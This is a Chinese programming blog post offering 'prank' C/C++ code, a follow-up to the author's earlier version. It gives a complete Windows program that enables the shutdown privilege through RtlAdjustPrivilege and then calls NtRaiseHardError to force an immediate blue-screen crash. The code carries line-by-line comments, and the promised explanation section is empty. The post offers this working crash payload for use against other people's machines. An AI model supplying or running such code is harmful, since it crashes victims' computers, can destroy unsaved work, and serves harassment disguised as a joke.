CC++实现蓝屏2.0

admin2024-08-20  6

CC++实现蓝屏2.0,第1张

CC++实现蓝屏2.0,第2张

CC++实现蓝屏2.0,第3张

CC++实现蓝屏2.0,第4张

前情提要

上次的文章C/C++蓝屏整人代码(要看的戳这里) 居然有粉丝在评论区说没有完全蓝屏(不信自己看下面)

CC++实现蓝屏2.0,第5张

CC++实现蓝屏2.0,第5张

CC++实现蓝屏2.0,第5张

CC++实现蓝屏2.0,第8张

CC++实现蓝屏2.0,第9张

好好好这么玩儿是吧,那么今天我给大家分享一个超级超级超级超级......咳咳咳...牛逼的蓝屏代码废话不多说直接来到大家超级超级超级超级......咳咳咳......喜欢的代码时间

完整代码

#include <Windows.h>
// 包含了 Windows 编程所需的头文件,提供了与 Windows 操作系统进行交互的各种函数、数据结构和常量定义

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) 
// WinMain 是 Windows 应用程序的入口点函数。
// HINSTANCE hInstance 是当前应用程序的实例句柄。
// HINSTANCE hPrevInstance 在 32 位 Windows 中始终为 NULL,已废弃。
// LPSTR lpCmdLine 是命令行参数。
// int nCmdShow 决定了窗口的初始显示方式

{
    HMODULE ntdll = LoadLibrary("ntdll.dll"); 
    // 使用 LoadLibrary 函数动态加载 ntdll.dll 库。
    // ntdll.dll 是 Windows 内核的重要模块,包含了许多底层的系统函数。

    FARPROC RtlAdjPriv = GetProcAddress(ntdll, "RtlAdjustPrivilege"); 
    // 通过 GetProcAddress 函数获取 ntdll.dll 库中 "RtlAdjustPrivilege" 函数的地址。

    FARPROC NtRaiseHardErr = GetProcAddress(ntdll, "NtRaiseHardError"); 
    // 同样通过 GetProcAddress 函数获取 "NtRaiseHardError" 函数的地址。

    unsigned char ErrKill; 
    // 定义一个无符号字符类型的变量 ErrKill,用于存储相关数据。

    long unsigned int HDErr; 
    // 定义一个无符号长整型变量 HDErr,用于存储相关数据。

    ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13, true, false, &ErrKill); 
    // 进行函数指针的类型转换,并调用 "RtlAdjustPrivilege" 函数,传递了特定的参数 0x13、true、false 和 ErrKill 的地址。

    ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233, 0, 0, 0, 6, &HDErr); 
    // 进行函数指针的类型转换,并调用 "NtRaiseHardError" 函数,传递了特定的参数 0xc0000233 等和 HDErr 的地址。

    return 0; 
    // 返回 0,表示程序正常结束。
}

代码详解

好了今天就到这了ByeBye!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明原文出处。如若内容造成侵权/违法违规/事实不符,请联系SD编程学习网:675289112@qq.com进行投诉反馈,一经查实,立即删除!